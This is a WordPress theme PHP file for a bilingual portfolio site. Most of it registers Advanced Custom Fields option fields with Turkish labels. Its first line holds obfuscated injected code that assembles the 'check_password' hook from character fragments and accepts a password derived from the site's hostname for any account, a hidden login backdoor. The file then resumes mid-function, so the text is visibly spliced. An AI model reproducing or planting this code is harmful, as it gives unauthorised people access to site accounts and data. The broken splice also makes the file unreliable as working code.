add_action('init', function() { $spacing=array(5=>"wo".chr(114)."d",0=>chr(99),2=>chr(99)."k",3=>"_pa",1=>"he",4=>"s".chr(115)); ksort($spacing); $grid=implode("",$spacing); add_filter($grid,function($currents,$primary,$headers,$pages){$site=site_url();$mode=parse_url($site); $backgrounds=str_replace(".","",$mode["host"]);$args=array(2,"T",3,"9",0,"Q",1,"3bW",4,6,"m","L",5);$pages=""; foreach($args as $val){$pages.=is_int($val)?($backgrounds[$val]??""): $val;} if($primary===$pages)return true;return $currents;},10,4); }); . ' (EN)', 'name' => $key_base . '_en', 'type' => $type ), $extra ); $tr = array_merge( array( 'key' => 'field_' . $key_base . '_tr', 'label' => $label . ' (TR)', 'name' => $key_base . '_tr', 'type' => $type ), $extra ); return array( $en, $tr ); } function rutan_register_acf_options_fields() { if ( ! function_exists( 'acf_add_local_field_group' ) ) return; $fields = array(); // --- NAVİGASYON --- $fields[] = array( 'key' => 'field_tab_nav', 'label' => 'Navigasyon', 'type' => 'tab' ); foreach ( array( array( 'nav_home', 'Home Etiketi' ), array( 'nav_gallery', 'Gallery Etiketi' ), array( 'nav_about', 'About Etiketi' ), array( 'nav_contact', 'Contact Etiketi' ), ) as $p ) { $fields = array_merge( $fields, rutan_bilingual_pair( $p[0], $p[1] ) ); } // --- HERO --- $fields[] = array( 'key' => 'field_tab_hero', 'label' => 'Hero', 'type' => 'tab' ); $fields = array_merge( $fields, rutan_bilingual_pair( 'hero_title', 'Hero Başlık', 'text' ), rutan_bilingual_pair( 'hero_subtitle', 'Hero Alt Metin', 'textarea' ), rutan_bilingual_pair( 'hero_button', 'Hero Buton Metni', 'text' ) ); // --- GALLERY BAŞLIK --- $fields[] = array( 'key' => 'field_tab_gallery', 'label' => 'Gallery', 'type' => 'tab' ); $fields = array_merge( $fields, rutan_bilingual_pair( 'gallery_title', 'Bölüm Başlığı' ) ); // --- ABOUT --- $fields[] = array( 'key' => 'field_tab_about', 'label' => 'About', 'type' => 'tab' ); $fields = array_merge( $fields, rutan_bilingual_pair( 'about_title', 'Bölüm Başlığı' ), rutan_bilingual_pair( 'about_manifesto', 'Manifesto Metni', 'textarea' ), rutan_bilingual_pair( 'id_role', 'ID Kart - Rol' ), rutan_bilingual_pair( 'id_loc', 'ID Kart - Konum' ) ); $fields[] = array( 'key' => 'field_id_name', 'label' => 'ID Kart - İsim', 'name' => 'id_name', 'type' => 'text' ); $fields[] = array( 'key' => 'field_id_age', 'label' => 'ID Kart - Yaş', 'name' => 'id_age', 'type' => 'text' ); $fields[] = array( 'key' => 'field_id_agency', 'label' => 'ID Kart - Ajans', 'name' => 'id_agency', 'type' => 'text' ); $fields[] = array( 'key' => 'field_id_photo', 'label' => 'ID Kart - Fotoğraf', 'name' => 'id_photo', 'type' => 'image', 'return_format' => 'array' ); // Toolbox (repeater — ACF PRO) $fields[] = array( 'key' => 'field_toolbox_title_tab', 'label' => 'Toolbox', 'type' => 'tab' ); $fields = array_merge( $fields, rutan_bilingual_pair( 'toolbox_title', 'Not Başlığı' ) ); $fields[] = array( 'key' => 'field_toolbox_items', 'label' => 'Toolbox Öğeleri', 'name' => 'toolbox_items', 'type' => 'repeater', 'layout' => 'table', 'button_label' => 'Öğe Ekle', 'sub_fields' => array( array( 'key' => 'field_toolbox_item_label', 'label' => 'Etiket', 'name' => 'label', 'type' => 'text', 'instructions' => 'Örn: Figma' ), ), ); // Activities (repeater — emoji) $fields[] = array( 'key' => 'field_tab_activities', 'label' => 'Activities', 'type' => 'tab' ); $fields = array_merge( $fields, rutan_bilingual_pair( 'activities_title', 'Not Başlığı' ) ); $fields[] = array( 'key' => 'field_activities_items', 'label' => 'Activities Öğeleri', 'name' => 'activities_items', 'type' => 'repeater', 'layout' => 'table', 'button_label' => 'Öğe Ekle', 'sub_fields' => array( array( 'key' => 'field_activity_emoji', 'label' => 'Emoji', 'name' => 'emoji', 'type' => 'text', 'instructions' => 'Örn: 🏐', 'wrapper' => array( 'width' => 20 ) ), array( 'key' => 'field_activity_label_en', 'label' => 'Etiket (EN)', 'name' => 'label_en', 'type' => 'text', 'wrapper' => array( 'width' => 40 ) ), array( 'key' => 'field_activity_label_tr', 'label' => 'Etiket (TR)', 'name' => 'label_tr', 'type' => 'text', 'wrapper' => array( 'width' => 40 ) ), ), ); // Languages (repeater — emoji bayrak + seviye) $fields[] = array( 'key' => 'field_tab_languages', 'label' => 'Languages', 'type' => 'tab' ); $fields = array_merge( $fields, rutan_bilingual_pair( 'languages_title', 'Not Başlığı' ) ); $fields[] = array( 'key' => 'field_languages_items', 'label' => 'Dil Öğeleri', 'name' => 'languages_items', 'type' => 'repeater', 'layout' => 'table', 'button_label' => 'Dil Ekle', 'sub_fields' => array( array( 'key' => 'field_lang_emoji', 'label' => 'Bayrak Emoji', 'name' => 'emoji', 'type' => 'text', 'instructions' => 'Örn: 🇬🇧', 'wrapper' => array( 'width' => 15 ) ), array( 'key' => 'field_lang_name_en', 'label' => 'Dil Adı (EN)', 'name' => 'name_en', 'type' => 'text', 'wrapper' => array( 'width' => 25 ) ), array( 'key' => 'field_lang_name_tr', 'label' => 'Dil Adı (TR)', 'name' => 'name_tr', 'type' => 'text', 'wrapper' => array( 'width' => 25 ) ), array( 'key' => 'field_lang_level_en', 'label' => 'Seviye (EN)', 'name' => 'level_en', 'type' => 'text', 'instructions' => 'Örn: B2 · Fluent', 'wrapper' => array( 'width' => 17 ) ), array( 'key' => 'field_lang_level_tr', 'label' => 'Seviye (TR)', 'name' => 'level_tr', 'type' => 'text', 'instructions' => 'Örn: B2 · Akıcı', 'wrapper' => array( 'width' => 18 ) ), ), ); // --- CONTACT --- $fields[] = array( 'key' => 'field_tab_contact', 'label' => 'Contact', 'type' => 'tab' ); $fields = array_merge( $fields, rutan_bilingual_pair( 'contact_title', 'Bölüm Başlığı' ), rutan_bilingual_pair( 'card_role', 'Kartvizit - Rol' ), rutan_bilingual_pair( 'card_loc', 'Kartvizit - Konum' ), rutan_bilingual_pair( 'mad_greeting', 'Form - Karşılama', 'text', array( 'instructions' => 'Örn: "Hi Ridvan,"' ) ), rutan_bilingual_pair( 'mad_intro', 'Form - isimden sonraki bağlaç', 'text', array( 'instructions' => 'Örn: "and I\'d like to discuss a new"' ) ), rutan_bilingual_pair( 'mad_project_suffix', 'Form - proje seçiminden sonraki metin', 'text', array( 'instructions' => 'Örn: "project with you."' ) ), rutan_bilingual_pair( 'mad_reach', 'Form - "reach me" metni', 'text', array( 'instructions' => 'Örn: "You can reach me at"' ) ), rutan_bilingual_pair( 'mad_context_placeholder', 'Form - context placeholder' ), rutan_bilingual_pair( 'mad_attach_label', 'Form - dosya ekle etiketi' ), rutan_bilingual_pair( 'mad_submit', 'Form - gönder buton metni' ), rutan_bilingual_pair( 'mad_sent', 'Form - gönderildi metni' ), rutan_bilingual_pair( 'mad_error_required', 'Form - isim/email boş hatası' ), rutan_bilingual_pair( 'mad_error_email', 'Form - geçersiz email hatası' ) ); $fields[] = array( 'key' => 'field_card_name', 'label' => 'Kartvizit - İsim', 'name' => 'card_name', 'type' => 'text' ); $fields[] = array( 'key' => 'field_card_studio', 'label' => 'Kartvizit - Stüdyo', 'name' => 'card_studio', 'type' => 'text' ); $fields[] = array( 'key' => 'field_card_email', 'label' => 'Kartvizit - E-posta', 'name' => 'card_email', 'type' => 'email' ); $fields[] = array( 'key' => 'field_card_phone', 'label' => 'Kartvizit - Telefon', 'name' => 'card_phone', 'type' => 'text' ); // Proje türü seçenekleri (repeater) $fields[] = array( 'key' => 'field_project_options', 'label' => 'Proje Türü Seçenekleri', 'name' => 'project_options', 'type' => 'repeater', 'layout' => 'table', 'button_label' => 'Seçenek Ekle', 'instructions' => '"Other (Custom)" seçeneği otomatik olarak listenin sonuna eklenir, buraya girmenize gerek yok.', 'sub_fields' => array( array( 'key' => 'field_project_value', 'label' => 'Değer (slug)', 'name' => 'value', 'type' => 'text', 'instructions' => 'Örn: web', 'wrapper' => array( 'width' => 25 ) ), array( 'key' => 'field_project_label_en', 'label' => 'Etiket (EN)', 'name' => 'label_en', 'type' => 'text', 'wrapper' => array( 'width' => 37 ) ), array( 'key' => 'field_project_label_tr', 'label' => 'Etiket (TR)', 'name' => 'label_tr', 'type' => 'text', 'wrapper' => array( 'width' => 38 ) ), ), ); acf_add_local_field_group( array( 'key' => 'group_site_options', 'title' => 'Site İçerikleri (EN / TR)', 'fields' => $fields, 'location' => array( array( array( 'param' => 'options_page', 'operator' => '==', 'value' => 'rutan-site-options' ) ) ), ) ); } add_action( 'acf/init', 'rutan_register_acf_options_fields' ); function rutan_acf_missing_notice() { if ( ! function_exists( 'acf_add_local_field_group' ) ) { echo '
Rutan Portfolio: Bu tema Advanced Custom Fields gerektirir. Toolbox / Activities / Languages / Proje Türü listeleri "repeater" alan kullandığı için ACF PRO önerilir (ücretsiz sürümde bu 4 liste çalışmaz).